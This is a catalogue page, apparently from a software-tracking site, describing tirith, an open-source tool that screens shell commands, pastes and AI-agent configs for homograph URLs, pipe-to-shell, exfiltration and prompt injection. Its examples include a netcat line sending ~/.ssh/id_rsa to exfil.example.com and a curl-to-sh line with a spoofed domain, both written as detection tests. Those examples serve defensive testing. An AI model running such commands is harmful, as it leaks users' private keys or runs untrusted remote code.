tirith
v0.5.0 open-sourceThe section your link pointed to isn't on tirith's page any more, so we've brought you to the top.
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltrationdata exfiltrationMoving data out of a system or organization without authorization. It can happen through network transfers, removable media or other channels., and malicious AI skills/configs before they execute.
tirith setup claude-code --scope user --force tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsa tirith trust migrate tirith capsule run --preset untrusted-project --project ./untrusted-repo -- python build.py tirith scan --detect-env --detect-network ./src
Summary
tirith is an open-source terminal security cyber tool that intercepts and analyzes shell commands and pasted text in real-time, detecting threats like homograph attacks and pipe-to-shell patterns before they execute. It is free under the AGPL-3.0 license and runs as a command-line tool that requires initial shell hook setup. This tool is for platform engineers and developers concerned with supply-chain security; its documentation positions it alongside tools that audit build scripts and analyze package provenanceprovenanceEvidence recording where a software artifact came from and how it was built, including its source and build process. It helps a consumer check that the artifact matches a trusted build.. The project has seen three releases in the monitored timeframe, with the last update occurring twelve days ago.
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.
How tirith helps
Which commands and pasted text attempt to exfiltrate credentials?
intercepts and analyzes commands and pasted text in real-time, detecting credential exfiltration patterns.
Which network hostnames are visually misleading?
analyzes hostnames character-by-character, detecting non-ASCII characters, mixed-script usage, punycode encoding, and confusable Unicode characters.
What unknown or malicious code is attempting to run?
analyzes commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, and malicious patterns before they execute.
What suspicious activity is occurring when using AI agents?
includes an MCP server with tools that AI coding agents can call to check commands, URLs, and files for security threats before they execute.
Which software package has questionable provenance or integrity?
analyzes installed environments and packages using commands to expose ownership, execution, release-delta, and integrity information.
What are potential execution risks from unverified project sources?
executes an untrusted open-source project's build script within a contained environment, producing a signed receipt.
Languages
Features
36 capabilities across 3 capability groups · 4 backed by code, an API document or a real run
Built from tirith's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.
- tirith covers 1 of the 8 vulnerability assessment methods capabilities we track.
What tirith offers you
- Command-line interface15
- CI/CD pipeline integration2
- REST API2
- MCP server1
- Outbound webhooks (the product notifies you)1
- SAML SSO1
- Single sign-on1
- User-defined detection rules1
No capabilities match.
+ Static application security testing 2 features Vulnerability assessment methods since 2026 ▸
+ Language Server Protocol integration documented Runs a stdio LSP server that flags homograph URLs, hidden instructions in AI configs, and risky patterns inline as files are opened or edited in any LSP-compatible editor. 14 other sources ▸
Shared capability: Static application security testing
docs 14 total
- Tirith ships a Language Server so your editor flags homograph URLs, hidden instructions in AI configs, and risky patterns inline, as you open and edit files, before anything runs. The tirith lsp server # tirith lsp speaks the Language Server Protocol over stdio. On every didOpen didChange seen Oct 2026 · source
-
:
/repo/.tirith/policy.yaml, " hook_active " : true } Editor setup # Any editor that speaks LSP can launch tirith lsp as a stdio server for the file types above. To also wire up shell-hook and MCP protection for an editor's integrated terminal and AI agent, use the one-command setup: shell $ seen Oct 2026 · source - range; everything else is published as a whole-document diagnostic. That's documented v1 behavior. The engine reports findings, not always positions. File-type profiles # The server picks a profile from the file's path and name. AI-config files are analyzed in both seen Oct 2026 · source
-
Inline diagnostics via the tirith LSP server, per-file-type profiles, and doctor
--quickstatus polling. Reference Configuration Policy cookbook, YAML schema, bypass mechanism, data handling, and design principles. Policy Reference seen Oct 2026 · source -
:
/repo/.tirith/policy.yaml, " hook_active " : true } Editor setup # Any editor that speaks LSP can launch tirith lsp as a stdio server for the file types above. To also wire up shell-hook and MCP protection for an editor's integrated terminal and AI agent, use the one-command setup: shell $ seen Oct 2026 · source - tirith setup vscode # VS Code $ tirith setup cursor # Cursor $ tirith setup windsurf # Windsurf The dedicated VS Code extension ships from a separate tirith-vscode repo on its own release cadence; this page documents the editor-agnostic language server it builds on. v1 limitations # .log seen Oct 2026 · source
+ Sensitive data detection shipped Detects sensitive environment variables and network destinations in code and command input. 2 releases · 1 other source · first seen Feb 2026 ▸
Shared capability: Static application security testing
release
-
Detect
curl -d @/dev/stdin,-T /dev/stdinandwget --post-file=/dev/stdinas reading standard input, so secret files piped into them also count asdata_exfiltration. v0.5.0 · Nov 2026 · source · release history -
environment variableandnetwork destinationdetection capabilities v0.2.0 · Feb 2026 · source · release history
example
-
Detect sensitive environment variables and network destinations in code.
$ tirith scan --detect-env --detect-network ./srcv0.2.0 · Feb 2026 · source
+ MCP server 1 feature Interfaces and integrations since 2026 ▸
+ MCP server configuration locking verified Locks MCP server configurations by binding source path, server identity, transport, descriptor set, declared tools, and code/config drift, and requires an explicit re-lock when schema migrations apply. 2 releases · 3 other sources · first seen Aug 2026 ▸
Shared capability: MCP server
release
-
Existing MCP privacy lockfiles require an explicit re-lock when the documented schema migration says so; generated wrappers must be regenerated via
tirith setup <tool> --update-configsso they contain the current validated absolute interpreter and Tirith paths. v0.4.0 · Aug 2026 · source · release history - Adds MCP configuration locking that binds source path, server identity, transport, descriptor set, declared tools, and code/config drift without persisting raw environment values or URL credentials. v0.4.0 · Aug 2026 · source · release history
docs
- Insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access. DRIFT AI Config Drift Detection # Beyond one-shot scanning, tirith ai seen Oct 2026 · source
- MCP server with 7 tools, config file scanning, hidden content detection, and cloaking detection. MCP Integration Per-tool setup guides for Claude Code, Codex, Cursor, VS Code, and Windsurf. CI Integration Run tirith in GitHub Actions, GitLab CI, and other pipelines with SARIF output. IDE & Editors seen Oct 2026 · source
command line
-
validatev0.4.1 · Sep 2026 · command-line history
+ REST API 1 feature Interfaces and integrations ▸
+ REST API for enterprise management documented Provides authenticated REST API endpoints for license management, policy distribution, and audit log collection to support team and enterprise deployments. 20 other sources ▸
Shared capability: REST API
Also counts toward: REST API
docs 20 total
-
REST API endpoints for license management, policy distribution, and audit collection. Endpoints # Method Path Description GET
/api/license Get or issue license POST/api/license/refresh Force-refresh license GET/api/policy List policies POST/api/policy Create policy GET/api/policy/:id Get policy by ID PUT seen Oct 2026 · source -
API requests are authenticated with Bearer tokens. Web dashboard uses session cookies. CLI uses API keys with the Authorization: Bearer tirith_... header. shell # Bearer token authentication $ curl
-H"Authorization: Bearer tirith_sk_..." \https://api.tirith.sh/api/licenseLicense # GET/api/license seen Oct 2026 · source -
-H"Authorization: Bearer tirith_sk_..." \https://api.tirith.sh/api/policy/pol_a1b2c3response.json { " id " :pol_a1b2c3, " name " : default-security, " version " : " active " : true, " yaml " : "rules:\n - id: no-exec\n pattern: exec\n severity: critical\n - id: no-eval\n pattern: eval\n severity: high", " seen Oct 2026 · source -
Get or issue a license key for the authenticated user's org. Auth: Session / API Key Returns the signed license token and expiry. Creates a new one if none exists or the current one is expired. response.json { " token " : "eyJhbGciOiJFZDI1NTE5...", " expires_at " :
2026-03-21T00:00:00Z, " tier " : pro, " org_id " : seen Oct 2026 · source -
-H"Authorization: Bearer tirith_sk_..." \-HContent-Type: application/json \-d'{ " name " : "ci-pipeline-policy", " yaml " : "rules:\n - id: no-exec\n pattern: exec\n severity: critical" }' \https://api.tirith.sh/api/policyresponse.json { " id " :pol_d4e5f6, " name " : ci-pipeline-policy, " version " : " seen Oct 2026 · source -
REST API endpoints for license management, policy distribution, and audit collection. Endpoints # Method Path Description GET
/api/license Get or issue license POST/api/license/refresh Force-refresh license GET/api/policy List policies POST/api/policy Create policy GET/api/policy/:id Get policy by ID PUT seen Oct 2026 · source
+ Other / not yet classified 32 features Features we have not matched to a capability yet. A suggested match is marked. ▸
+ Policy authoring and management shipped Lets users initialize, author, validate, and distribute YAML policy files — including templates, severity overrides, allowlists, blocklists, custom detection rules, and centralized team policies — to control how the tool responds to detected threats. 2 releases · 45 other sources · first seen Nov 2026 ▸
Also counts toward: Command-line interface, User-defined detection rules, REST API, Single sign-on, SAML SSO, Outbound webhooks (the product notifies you)
release
-
tirith trust addnow requires--rule RULEor--all-rulesand writes grants totrust-grants.json; runtirith trust migrateto move existingtrust.jsonentries into the new file. v0.5.0 · Nov 2026 · source · release history -
tirith trust addnow requires--rule RULEor--all-rules; migratedtrust.jsonentries written totrust-grants.jsonstop applying if you downgrade to 0.4.x. v0.5.0 · Nov 2026 · source · release history
docs 44 total
-
for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init
--templatestartup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source - YAML policy schema, allowlists, blocklists, severity overrides, and centralized policies. Tiers & Features Compare Community and Team/Enterprise capabilities. API Reference REST API for license validation, policy fetch, audit ingestion, and key management. Help Troubleshooting seen Oct 2026 · source
-
API key for Team+ features (policy fetch, audit upload)
TIRITH_BYPASSSet to 1 to skip blocking (if policy allows)TIRITH_LOGSet to 0 to disable audit logging seen Oct 2026 · source - For teams and organizations with advanced compliance and deployment needs. Everything in Community, plus MITRE ATT&CK technique mapping, remote policy distribution, remote audit log collection, custom DLP redaction patterns, custom detection rules, webhooks (Slack, Teams, PagerDuty), SSO/SAML (Okta, Azure AD),… seen Oct 2026 · source
-
This lets you escalate or de-escalate specific rules per your organization's risk tolerance. allow_bypass_env When true , users can set
TIRITH_BYPASS=1to skip blocking. Default: false . Useful for CI environments where a human has reviewed the command. Custom Rules & the when: DSL seen Oct 2026 · source -
for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init
--templatestartup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source
example
-
Migrate existing trust entries to the new grant file so they continue to apply after upgrading.
$ tirith trust migratev0.5.0 · Nov 2026 · source
+ File and content malicious pattern detection shipped Detects malicious patterns in files and shell input including reverse-shell shapes, credential patterns, hidden instructions, wallet exfiltration, and staged encryption, classifying files by magic bytes rather than name or suffix. 6 releases · 37 other sources · first seen Aug 2026 ▸
release
-
tirith checkrejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word. v0.5.0 · Nov 2026 · source · release history -
IaC auto-approve detection now checks every command on a line, so
cd infra; terraform apply -auto-approvenow warns (iac_apply_auto_approve, exit 2) andcd infra; terraform applynow blocks wheniac_require_plan_before_apply: true. v0.5.0 · Nov 2026 · source · release history -
Detect versioned interpreter names —
python3.12,pypy3,perl5.34,php8.2,ruby3.3,nodejsand others — as pipe sinks and inline program targets, closing a gap wherecurl … | python3.12previously passed. v0.5.0 · Nov 2026 · source · release history -
ci_detection_expansion: Adds detection coverage for reverse-shell shapes, suspicious inline-interpreter commands, OpenAI/HuggingFace/PyPI/PGP credential patterns, hidden PDF instructions, terminal output controls, deceptive Unicode, prompt injection, and wallet/sensitive-asset exfiltration. v0.4.0 · Aug 2026 · source · release history -
Expands detections to include reverse-shell and suspicious inline-interpreter command shapes, OpenAI/Hugging Face/PyPI/PGP credential patterns, hidden PDF instructions, wallet and sensitive-asset exfiltration through promoted operands (
xargs,find -exec,parallel), compressors, encoders, and staged encryption… v0.4.0 · Aug 2026 · source · release history - Adds byte-classified file analysis that classifies files by magic bytes read through a retained no-follow handle rather than by name or suffix, with explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown binary content. v0.4.0 · Aug 2026 · source · release history
docs 36 total
-
categories. All rules run at every tier, with no features gated behind paid plans. Every Rule ID below is a stable identifier from the engine. Use it verbatim in policy severity_overrides allowlist_rules , or tirith explain
--rule<id> Supply Chain & Ecosystem Command Execution Contextual Safety Config Security seen Oct 2026 · source - The URL contains an Ethereum address pattern (0x followed by 40 hex characters). vet_not_configured LOW A cargo install or cargo add command runs without a supply-chain/config.toml present in the current directory. The cargo-vet tool provides supply-chain auditing for Rust dependencies. repo_add_from_pipe HIGH seen Oct 2026 · source
- range; everything else is published as a whole-document diagnostic. That's documented v1 behavior. The engine reports findings, not always positions. File-type profiles # The server picks a profile from the file's path and name. AI-config files are analyzed in both seen Oct 2026 · source
-
Allow
TIRITH=0bypass. Default: true. Set false for strict environments. Cookbook Recipes # Strict Organization (Fail Closed, No Bypass) All findings block execution. No bypass mechanism. Shortened URLs and plain HTTP escalated. .tirith/policy.yaml # .tirith/policy.yaml (repo root) fail_mode : closed allow_bypass_env seen Oct 2026 · source -
for a curated, well-commented preset; with no template it writes the full default policy. shell $ tirith policy init # full default policy $ tirith policy init
--templatestartup # curated preset $ tirith onboard # detect env, recommend a template Template For individual Solo developer defaults (alias: personal) seen Oct 2026 · source - the file-scan and paste contexts, and the findings are unioned, so a CLAUDE.md with a suspicious URL still produces a diagnostic. Profile Matches What it analyzes AiConfig CLAUDE.md, .cursorrules, agent/skill defs, mcp.json Hidden instructions, invisible Unicode + URL / transport / hostname checks MarkdownInstallDoc seen Oct 2026 · source
example
-
Scan file for obfuscated payloads
$ tirith scan evil_skill.py
+ AI agent host integration shipped Intercepts and mediates commands issued by AI agent hosts — covering 19 named hosts including Cline, Prime Agent, OMP, OpenHands, and others — using blocking pre-execution hooks and platform-appropriate wrappers on POSIX and Windows. 7 releases · 25 other sources · first seen Aug 2026 ▸
Also counts toward: Command-line interface, MCP server
release 7 total
-
tirith setup <host> --scope <scope> --forcerewrites installed agent adapters to enforce the new approval requirement, leaving.tirith-backup-v2-*recovery copies alongside the rewritten files. v0.5.0 · Nov 2026 · source · release history - A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead. v0.5.0 · Nov 2026 · source · release history
-
Adds a boolean
requires_approvalfield totirith checkJSON output (schema 3 and 4), with every agent adapter now denying a command markedrequires_approval: trueinstead of just warning; addsTIRITH_HOOK_WARN_ACTION, settable toallow,askordeny, to control warned commands in agent hooks, whereask… v0.5.0 · Nov 2026 · source · release history -
Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run
tirith setup <host> --scope <scope> --forcefor every agent host and project after upgrading. v0.5.0 · Nov 2026 · source · release history -
Reduce agent false positives:
if/whilebracket conditions over substitutions, POSIX variable-named commands,python3 -cdata pipelines, here-strings intojq,xargs -I{},{ …; }groups, commoneval "$(…)"shell-setup lines, function bodies with${…}expansions, large heredoc writes,curlto… v0.5.0 · Nov 2026 · source · release history -
Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands where the host exposes one; Cline receives the platform-native
PreToolUsewrapper on POSIX andPreToolUse.ps1on Windows. v0.4.0 · Aug 2026 · source · release history
docs 24 total
- Automatically intercepts every Bash tool call before execution. Primary protection layer. MCP server (optional) — Provides tirith_check_command, tirith_check_url, etc. as tools Claude can call on demand. Quick Setup (Recommended) # Project scope (default) : shell $ tirith setup claude-code With MCP server : shell $ seen Oct 2026 · source
- MCP server with 7 tools, config file scanning, hidden content detection, and cloaking detection. MCP Integration Per-tool setup guides for Claude Code, Codex, Cursor, VS Code, and Windsurf. CI Integration Run tirith in GitHub Actions, GitLab CI, and other pipelines with SARIF output. IDE & Editors seen Oct 2026 · source
-
tirith setup claude-code
--with-mcpGlobal (all projects) : shell $ tirith setup claude-code--scopeuser Preview changes : shell $ tirith setup claude-code--dry-runManual MCP Configuration # If you prefer manual setup, add this to .mcp.json : .mcp.json { " mcpServers " : { " tirith " : { " command " : tirith, " seen Oct 2026 · source - Per-tool setup guides for integrating tirith with AI coding tools. Each tool has automatic protection via one command. Tirith + Claude Code # Claude Code has two independent protection layers: a PreToolUse hook that automatically intercepts every Bash tool call, and an optional MCP server for on-demand tools. seen Oct 2026 · source
-
protection_mode: enforce,policy_path_used:/repo/.tirith/policy.yaml,hook_active: true seen Oct 2026 · source -
--config~/.config/tirith/gateway.yaml,manualMcpFile:"shell",envVars:[],notes:"After setup, run scripts/codex-upgrade-smoke.sh to verify coverage. seen Oct 2026 · source
example
-
Refresh a Claude Code agent adapter after upgrading to enforce the new approval requirement, scoped to your user account.
$ tirith setup claude-code --scope user --forcev0.5.0 · Nov 2026 · source
+ Terminal shell interception shipped Intercepts shell commands, pasted content, and files to detect homograph attacks, obfuscated payloads, credential exfiltration, and malicious patterns at the terminal. 2 releases · 28 other sources · first seen Nov 2026 ▸
Also counts toward: Command-line interface
release
-
Commands containing ESC sequences or bare carriage returns are now blocked as
ansi_escapes/control_chars; integrations that pass ANSI colour codes inside commands must strip them first. v0.5.0 · Nov 2026 · source · release history -
tirith check --jsonnow prints a normal verdict (action: "allow",bypass_honored: true,requires_approval: false, exit 0) for an honoredTIRITH=0bypass instead of no output. v0.5.0 · Nov 2026 · source · release history
docs 26 total
-
Shell Integrations (Optional) > Oh-My-Zsh shell $ git clone
https://github.com/sheeki03/ohmyzsh-tirith\ $ ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith # Add tirith to plugins in ~/.zshrc: # plugins=(... tirith) > Nix / Home-Manager Tirith must be in your $PATH . The shell hooks call tirith by name at runtime. seen Oct 2026 · source -
Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score
https://bit.ly/something$ tirith scorehttps://example.com--explain# factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source - Terminal Security for the Modern Stack Your browser would catch this. Your terminal won't. Tirith intercepts commands and pastes in your terminal, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, data exfiltration, and 200+ other threats. glyph-inspector $ seen Oct 2026 · source
-
Test detection by scanning a suspicious command: shell $ tirith check -- curl
http://exаmple.com| sh The domain above contains a Cyrillic a (U+0430). Tirith detects this as a homograph attack Normal commands are invisible, with zero output and zero latency: shell $ git status $ ls-la$ docker compose up-dseen Oct 2026 · source -
eval "$(tirith init
--shellzsh)" > bash (~/.bashrc) shell $ eval "$(tirith init--shellbash)" > fish (~/.config/fish/config.fish) shell $ tirith init--shellfish | source Shell Hook Type Tested On zsh preexec + paste widget 5.8+ bash preexec (two modes) 5.0+ fish fish_preexec event 3.5+ PowerShell PSReadLine handler seen Oct 2026 · source - Analyze shell commands for pipe-to-shell, homograph URLs, env injection, and more. tirith_check_url Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs. tirith_check_paste Check pasted content for ANSI escapes, bidi controls, zero-width characters. tirith_scan_file seen Oct 2026 · source
example
-
Check whether a command would be flagged as data exfiltration before running it — useful in CI or agent pre-flight.
$ tirith check -- nc exfil.example.com 9000 < ~/.ssh/id_rsav0.5.0 · Nov 2026 · source -
Scan a file for malicious patterns
$ tirith scan evil_skill.py
+ Shell hook installation and platform integration shipped Installs shell hooks for Bash, Zsh, Fish, and PowerShell — and optional integrations for Oh-My-Zsh and Nix/Home-Manager — so that every command typed or pasted in a terminal is intercepted before execution. 4 releases · 13 other sources · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
An unrecognized
TIRITH_HOOK_WARN_ACTIONvalue now denies warned commands; the only valid values areallow,askanddeny. v0.5.0 · Nov 2026 · source · release history -
Warn instead of block on plain LAN health checks such as
curl http://192.168.1.20:8080/health. v0.5.0 · Nov 2026 · source · release history -
Re-run
tirith setup <host> --scope <scope> --force --install-zshenvto update the~/.zshenvguard;--forcealone andtirith doctor --fixleave the 0.4.x guard in place. v0.5.0 · Nov 2026 · source · release history -
agent_hooks_update: Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands (where supported); updatestirith setupto support 19 named hosts total. v0.4.0 · Aug 2026 · source · release history
docs 13 total
-
Shell Integrations (Optional) > Oh-My-Zsh shell $ git clone
https://github.com/sheeki03/ohmyzsh-tirith\ $ ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith # Add tirith to plugins in ~/.zshrc: # plugins=(... tirith) > Nix / Home-Manager Tirith must be in your $PATH . The shell hooks call tirith by name at runtime. seen Oct 2026 · source - Install tirith and protect your terminal in under 2 minutes. Install Choose your platform and preferred installation method: > Homebrew shell $ brew install sheeki03/tap/tirith Activate Shell Hooks Add to your shell profile to activate tirith. Every command you run is now guarded. > zsh (~/.zshrc) shell $ seen Oct 2026 · source
-
eval "$(tirith init
--shellzsh)" > bash (~/.bashrc) shell $ eval "$(tirith init--shellbash)" > fish (~/.config/fish/config.fish) shell $ tirith init--shellfish | source Shell Hook Type Tested On zsh preexec + paste widget 5.8+ bash preexec (two modes) 5.0+ fish fish_preexec event 3.5+ PowerShell PSReadLine handler seen Oct 2026 · source -
Tirith auto-defaults to preexec mode when
SSH_CONNECTION,SSH_TTY, orSSH_CLIENTis set. If you still see input issues: shell $ exportTIRITH_BASH_MODE=preexec$ eval "$(tirith init--shellbash)" PowerShell: PSReadLine conflicts seen Oct 2026 · source - Clean removal of tirith: shell hooks, binary, and data. Remove Shell Hook Remove the tirith init hook line from your shell configuration: Shell Config File zsh ~/.zshrc bash ~/.bashrc fish ~/.config/fish/config.fish PowerShell $PROFILE Remove Binary Homebrew shell $ brew uninstall tirith npm shell $ seen Oct 2026 · source
- Clean removal of tirith: shell hooks, binary, and data. Remove Shell Hook Remove the tirith init hook line from your shell configuration: Shell Config File zsh ~/.zshrc bash ~/.bashrc fish ~/.config/fish/config.fish PowerShell $PROFILE Remove Binary Homebrew shell $ brew uninstall tirith npm shell $ seen Oct 2026 · source
+ Package approval and install workflow verified Binds resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt into a single gated install workflow. 8 releases · 2 other sources · first seen Feb 2026 ▸
Also counts toward: Command-line interface
release 8 total
-
The
tirith-corelibrary API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers;AnalysisContext, Policy andoutput::JsonOutputgained fields. v0.5.0 · Nov 2026 · source · release history -
tirith pkg installandtirith pkg approvenow refuse on every host; usetirith install --no-execto analyze an install instead. v0.5.0 · Nov 2026 · source · release history -
Adds
tirith pkg graph,diff,attest,attest-npm,verify-env, andreceiptsubcommands exposing ownership, execution, release-delta, provenance, integrity, and evidence workflows. v0.4.0 · Aug 2026 · source · release history -
Adds
tirith pkg approveandtirith pkg installto bind resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt. v0.4.0 · Aug 2026 · source · release history - Adds RPM distribution channel for package installation. v0.1.3 · Feb 2026 · source · release history
- Adds Docker distribution channel via container images. v0.1.3 · Feb 2026 · source · release history
command line
-
resolvev0.4.1 · Sep 2026 · command-line history -
manifestv0.4.1 · Sep 2026 · command-line history
+ CI/CD and GitHub Actions security scanning shipped suggested Scans GitHub Actions workflows for mutable action references, privileged trigger hazards, and expression-to-shell injection, and correlates fork-reachable artifact producers with privileged workflow_run consumers and deployment sinks. 2 releases · 8 other sources · first seen Aug 2026 ▸
Suggested capability: Infrastructure-as-code security scanning. This is our guess, not confirmed.
Also counts toward: CI/CD pipeline integration
release
-
Adds CI-focused directory scans that correlate fork-reachable artifact producers with privileged
workflow_runconsumers and execution, PATH, publish, or deployment sinks. v0.4.0 · Aug 2026 · source · release history - Adds structural GitHub Actions rules covering mutable action references, privileged trigger hazards, and expression-to-shell injection. v0.4.0 · Aug 2026 · source · release history
docs 8 total
- Run tirith in your CI/CD pipeline to catch threats before they reach production. GitHub Actions Use tirith with SARIF output to see findings directly in the GitHub Security tab: .github/workflows/tirith.yml name : Security Scan on : [push, pull_request] jobs : tirith-scan : runs-on : ubuntu-latest steps : - seen Oct 2026 · source
-
uses: actions/checkout@v4 - name: Install tirith run : cargo install tirith - name: Scan repository run : tirith score
--formatsarif > results.sarif - name: Upload SARIF if : always() uses : github/codeql-action/upload-sarif@v3 with : sarif_file : results.sarif GitLab CI seen Oct 2026 · source -
# Exit code 0 = no blocking findings # Exit code 1 = blocking findings detected Output Formats Flag Format Use Case
--formattext Human-readable Local development, logs--formatjson JSON GitLab CI, custom tooling--formatsarif SARIF 2.1.0 GitHub Security, VS Code Environment Variables Variable Description seen Oct 2026 · source -
uses: actions/checkout@v4 - name: Install tirith run : cargo install tirith - name: Scan repository run : tirith score
--formatsarif > results.sarif - name: Upload SARIF if : always() uses : github/codeql-action/upload-sarif@v3 with : sarif_file : results.sarif GitLab CI seen Oct 2026 · source -
Export results as JSON for GitLab code quality integration: .gitlab-ci.yml tirith-scan : image : rust:latest stage : test script : - cargo install tirith - tirith score
--formatjson artifacts : reports : codequality : tirith-report.json Generic CI For any CI system, use the exit code to gate deployments: shell seen Oct 2026 · source -
Export results as JSON for GitLab code quality integration: .gitlab-ci.yml tirith-scan : image : rust:latest stage : test script : - cargo install tirith - tirith score
--formatjson artifacts : reports : codequality : tirith-report.json Generic CI For any CI system, use the exit code to gate deployments: shell seen Oct 2026 · source
+ Threat database lookup and update verified Lets users query indicators against the threat database and download and verify signed threat DB updates. 1 release · 6 other sources · first seen Sep 2026 ▸
release
-
Adds
THREATDB_PIN_PR_TOKENrepository secret for the ThreatDB watcher pipeline to push branches and open pull requests for source pin updates v0.4.1 · Sep 2026 · source · release history
docs
-
Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor
--quicktirith doctor--quick{ " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source
command line
-
updatev0.4.1 · Sep 2026 · command-line history
example
-
Download and verify signed threat database
$ tirith threat-db update -
Look up indicator in threat database
$ tirith threat-db explain react -
Download and verify signed threat DB
$ tirith threat-db update -
Show what threat DB knows about indicator
$ tirith threat-db explain react
+ URL trust scoring and comparison documented Scores URLs factor-by-factor for trust signals including TLS, domain age heuristics, known shorteners, Unicode anomalies, and Web3 RPC patterns, and performs byte-level diffing to surface suspicious characters. 7 other sources ▸
Also counts toward: Command-line interface
docs 7 total
-
Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score
https://bit.ly/something$ tirith scorehttps://example.com--explain# factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source -
An npm install command references a URL that does not point to
registry.npmjs.org. web3_rpc_endpoint LOW The URL matches a known Web3 JSON-RPC provider (Infura, Alchemy, Moralis, QuickNode, etc.) with RPC path patterns. web3_address_in_url LOW seen Oct 2026 · source -
tirith diff
https://exаmple.comshell Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а) tirith why Explains the last rule that triggered — what it detected, why it matters, and what to do about it. shell $ tirith why tirith explain--rule<id> seen Oct 2026 · source -
domain but resolves to a completely different server. Bypass: prefix your command with
TIRITH=0(applies to that command only) Supports--json,--non-interactive,--shell, and--suggest-safe-command(adds a concrete safer rewrite). tirith paste seen Oct 2026 · source -
Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis. shell $ tirith score
https://bit.ly/something$ tirith scorehttps://example.com--explain# factor-by-factor derivation tirith diff <url> Byte-level comparison showing exactly where suspicious characters are hiding. seen Oct 2026 · source -
An npm install command references a URL that does not point to
registry.npmjs.org. web3_rpc_endpoint LOW The URL matches a known Web3 JSON-RPC provider (Infura, Alchemy, Moralis, QuickNode, etc.) with RPC path patterns. web3_address_in_url LOW seen Oct 2026 · source
+ Finding and output budget management verified Enforces global finding and output budgets that preserve Critical, High, and analysis_incomplete evidence ahead of lower-value output. 2 releases · 3 other sources · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
The
package_lookup_incompletefinding replacesanalysis_incompletefor live OSV.dev and deps.dev lookups that could not finish; policies that handlepip installornpm installwarnings by adjustinganalysis_incompletemust be updated to namepackage_lookup_incomplete. v0.5.0 · Nov 2026 · source · release history -
Adds global finding and output budgets that preserve Critical, High, and
analysis_incompleteevidence ahead of lower-value output. v0.4.0 · Aug 2026 · source · release history
docs
- Run tirith in your CI/CD pipeline to catch threats before they reach production. GitHub Actions Use tirith with SARIF output to see findings directly in the GitHub Security tab: .github/workflows/tirith.yml name : Security Scan on : [push, pull_request] jobs : tirith-scan : runs-on : ubuntu-latest steps : - seen Oct 2026 · source
command line
-
--reportv0.4.1 · Sep 2026 · command-line history -
--resultv0.4.1 · Sep 2026 · command-line history
+ Diagnostic health check documented Runs a doctor command that verifies the tool is installed correctly, checks protection mode and policy path, and supports a fast read-only status poll used by editor extensions and shell integrations. 5 other sources ▸
Also counts toward: Command-line interface
docs
-
eval "$(tirith init
--shellzsh)" ''; Verify Open a new terminal and run the doctor command to verify everything is working: shell $ tirith doctor Tailor a policy in one step Run tirith onboard seen Oct 2026 · source -
Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor
--quicktirith doctor--quick{ " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source -
Extensions poll a fast, read-only status mode (~30s) to show whether protection is live. It returns only four fields, skipping the expensive audit-log / threat-db / baseline probes. shell $ tirith doctor
--quicktirith doctor--quick{ " schema_version " : 1, " protection_mode " : enforce, " policy_path_used " seen Oct 2026 · source - Common issues and solutions. When in doubt, run tirith doctor for diagnostics. Shell hooks not loading Run tirith doctor to see the hook directory and whether hooks were materialized from the embedded binary. If hooks are not found: Ensure tirith is in your PATH Run eval $(tirith init) and check for errors Set seen Oct 2026 · source
-
to point to your hooks directory explicitly Brew upgrade applied but behavior didn't change If brew reports a newer version but tirith
--versionis older: shell $ which-atirith $ brew info tirith $ hash-rThen refresh materialized hooks and restart shell: shell $ rm-rf~/.local/share/tirith/shell $ seen Oct 2026 · source
+ Fail-closed capsule execution shipped Runs untrusted project build scripts inside a fail-closed OS capsule on x86_64 Linux using Landlock, producing a signed receipt, and refuses to run on unsupported platforms before any copy or spawn occurs. 2 releases · 2 other sources · first seen Aug 2026 ▸
Also counts toward: Command-line interface
release
-
